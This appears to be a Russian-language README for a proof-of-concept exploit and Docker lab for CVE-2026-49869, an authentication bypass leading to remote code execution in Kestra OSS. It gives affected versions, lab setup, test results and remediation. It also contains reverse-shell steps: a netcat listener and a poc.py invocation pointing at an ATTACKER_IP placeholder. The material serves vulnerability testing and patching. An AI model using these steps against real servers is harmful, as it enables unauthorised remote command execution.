
PoC и Docker-лаборатория для CVE-2026-49869 — неаутентифицированное RCE в Kestra OSS через обход пути в AuthenticationFilter, позволяющее создавать flow и выполнять команды.
★PoC и Docker-лаборатория для обхода аутентификации в AuthenticationFilter Kestra OSS★
Запускайте эту лабораторию только на системах, которые вы контролируете. Пример с
-p 8080:8080может опубликовать уязвимый API на всех интерфейсах хоста; заблокируйте доступ из других сетей.
https://github.com/user-attachments/assets/e8dc29f2-1fd2-49bb-9a61-3ae67ee69865
Kestra использует Basic Auth для защиты своего API. В уязвимых версиях OSS AuthenticationFilter рассматривает любой путь запроса, заканчивающийся на /configs, как публичную конечную точку конфигурации. Поэтому неаутентифицированный клиент может создать поток с именем configs, а затем выполнить его через пути API, которые также заканчиваются на /configs. Задача shell в этом потоке может выполнять команды в контейнере воркера Kestra. Дефект и цепочка RCE описаны в рекомендации по безопасности Kestra.
| Ветка Kestra OSS | Уязвимые версии | Первая исправленная версия |
|---|---|---|
| 1.0.x и более ранние | До 1.0.45 | 1.0.45 |
| 1.1.x–1.3.x | 1.1.0 – 1.3.20 | 1.3.21 |
В лаборатории используется v1.3.20 с включённым OSS Basic Auth. Проблема затрагивает этот путь аутентификации, когда API Kestra доступен; локальный образ основан на kestra/kestra:v1.3.20.
/configs; в рекомендации также описана SSRF через шаблон рабочего процесса.Привилегии контейнера не означают привилегии хоста.
Репозиторий должен содержать Dockerfile, entrypoint.sh и poc.py вместе с этим README. Для запуска цели требуется Docker; для PoC требуется Python 3. Устанавливать пакеты Python не нужно.
docker build -t cve-2026-49869-lab .
docker run -d --name cve-2026-49869-lab -p 8080:8080 cve-2026-49869-lab
entrypoint.sh включает Basic Auth с учётной записью только для лаборатории:
| Имя пользователя | Пароль |
|---|---|
[email protected] | Eqst123! |
Kestra требует имя пользователя в формате электронной почты и пароль длиной не менее восьми символов, содержащий заглавные и строчные буквы и цифру. Эти учётные данные опубликованы только для локального тестирования.
Дождитесь, пока первый запрос вернёт 200. Второй запрос должен вернуть 401, что показывает, что Basic Auth защищает обычный путь API:
curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/configs
curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/main/flows/tutorial/notconfigs
Если у остановленного контейнера уже есть такое же имя, используйте docker start cve-2026-49869-lab, чтобы переиспользовать его, или удалите этот контейнер перед созданием нового с помощью docker run.
Скрипт отправляет два запроса без учётных данных: один создаёт или обновляет configs/configs с задачей shell, а следующий запускает её выполнение. Существующий созданный пользователем поток не нужен. Повторный запуск скрипта заменяет лабораторный поток с тем же именем.
Сначала запустите слушатель на машине, принимающей shell-соединение:
nc -lvnp LISTENER_PORT
Затем запустите PoC из каталога, содержащего poc.py:
python poc.py http://TARGET:8080 --lhost ATTACKER_IP --lport LISTENER_PORT
Для Docker-лаборатории на той же машине замените TARGET на 127.0.0.1. Установите ATTACKER_IP в IPv4-адрес, доступный контейнеру; скрипт не запускает слушатель. Скрипт выводит ответ о выполнении, включая ID выполнения. Для подтверждения того, что обратный shell сработал, необходимо соединение на слушателе.
В записанном локальном тесте использовалась безвредная задача Log для проверки обхода аутентификации и выполнения рабочего процесса. Она не запускала полезную нагрузку обратного shell.
| Проверка | v1.3.20 | v1.3.21 |
|---|---|---|
| Обычный защищённый API, без учётных данных | 401 | 401 |
Создание потока configs, без учётных данных | 200 | 401 |
Запуск выполнения configs, без учётных данных | 200 | 401 |
| Безвредная задача на уязвимой версии | SUCCESS, маркер в логах | — |
Обратный вызов обратного shell не входит в эти записанные результаты.
Обновитесь как минимум до 1.0.45 в ветке 1.0.x или до 1.3.21 в ветках 1.1.x–1.3.x. Исправление в upstream нормализует путь и проверяет точный публичный маршрут конфигурации вместо принятия любого суффикса /configs. До завершения обновления ограничьте доступ к API Kestra и разрешите неаутентифицированный доступ только к предполагаемому публичному маршруту на прокси.
docker rm -f cve-2026-49869-lab
docker image rm cve-2026-49869-lab